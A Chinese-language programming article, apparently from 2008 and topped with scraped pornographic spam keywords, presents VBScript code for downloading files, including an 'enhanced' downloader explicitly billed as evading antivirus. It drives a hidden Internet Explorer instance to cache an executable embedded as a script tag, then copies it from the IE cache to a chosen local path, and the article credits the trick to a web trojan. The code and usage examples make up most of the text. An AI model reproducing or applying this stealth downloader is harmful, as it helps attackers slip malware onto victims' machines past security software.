欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

使用vbs下載文件的代碼加強版

 更新時間:2008年05月07日 20:05:17   作者:  
可以躲過殺毒軟件的vbs下載網(wǎng)絡(luò)文件并保存為本地的加強版代碼
說到使用vbs下載文件是不是想到了XMLHTTP呢,呵呵,以下是比較經(jīng)典的代碼:
iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile iLocal,2

    當(dāng)你把這段代碼保存為vbs的時候,殺毒軟件可能就開始報警了;而且使用中cscript.exe會訪問網(wǎng)絡(luò),不太隱蔽。
    那么,有沒有更好的方法呢?答案很明顯:-)
    我們可以利用一個叫InternetExplorer.Application的對象(其實就是個IE啦)下載文件。但是貌似這個組件不能直接下載保存文件,只好曲線救國了。因為IE是把文件下載到本地緩存的,我們可以讓IE組件先把文件下載到緩存,然后再從緩存找到并copy至我們需要保存的位置。其實這個思路是從一個網(wǎng)馬看到的:)
    為了讓IE把我們的exe文件下載到本地緩存,我們需要有一個網(wǎng)頁把exe文件包含進(jìn)去。比如:<script src="520.exe"></script>。這樣當(dāng)IE訪問該頁面的時候就會把520.exe當(dāng)成js腳本保存到本地緩存了。保存的命名一般是520[1].exe,IE臨時文件的位置可以從注冊表鍵值 HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\paths\Directory 中讀取。
    好了,不廢話,看代碼:

'=============================
'  get.vbs 
'   by lake2
'=============================

If WScript.Arguments.Count <> 3 Then
 WScript.Echo ""
 WScript.Echo "======= The Secret Downloader 0.1 ================"
 WScript.Echo "  by lake2 "
 WScript.Echo "Usage:   CScript /nologo" & WScript.ScriptName & " [URL] [RemoteName] [LocalFile]"
 WScript.Echo "Example: CScript /nologo" & WScript.ScriptName & " http://www.0x54.org/lake.htm 520.exe c:\520.exe"
 WScript.Echo "=================================================="
 WScript.Quit
End If

URL = WScript.Arguments(0)
exeName = WScript.Arguments(1)
If InStr(exeName, ".") > 0 Then
 tmp = Left(exeName,InStrRev(exeName, ".")-1)
 tmp2 = Right(exeName,Len(exeName) - InStrRev(exeName, ".") + 1)
 FindFileName = tmp & "[1]" & tmp2
End If
LocalName = WScript.Arguments(2)

set ie=wscript.createobject("internetexplorer.application")
ie.visible = 0
ie.navigate URL

WScript.Echo "[+]Create and Exec IE to your HTTP Server ..."
WScript.Sleep(5000)
ie.quit
WScript.Echo "[+]Get the file ..."
set objshell= WScript.Createobject("WScript.Shell")
strValue = objshell.RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\paths\Directory")
ShowAllFile(strValue)
WScript.Echo "[-]download Fail :("

Sub ShowAllFile(Path)
 Set FSO = CreateObject("Scripting.FileSystemObject")
 Set f = FSO.GetFolder(Path)
 Set fc = f.SubFolders
 For Each f1 in fc
  If FSO.FileExists(path&"\"&f1.name&"\"&FindFileName) Then
   FSO.CopyFile path&"\"&f1.name&"\"&FindFileName, LocalName
   WScript.Echo "[+]Download Success !"
   WScript.Quit
  End If
  ShowAllFile path&"\"&f1.name
     Next
 Set FSO = Nothing
End Sub

    使用方法:
    1、在你的web目錄放上一個htm文件,內(nèi)容包含要下載的文件。如:<script src=520.exe></script>
    2、CScript get.vbs 第一步的網(wǎng)頁URL 網(wǎng)頁包含的文件名 本地保存路徑

    例子:CScript get.vbs http://www.0x54.org/lake2/get.htm whoami.exe c:\who.exe

    PS:腳本使用了5秒鐘作為下載文件的時間,可以改成等待下載完畢再繼續(xù)的,不過基本上夠用,懶得改了-_- 

相關(guān)文章

最新評論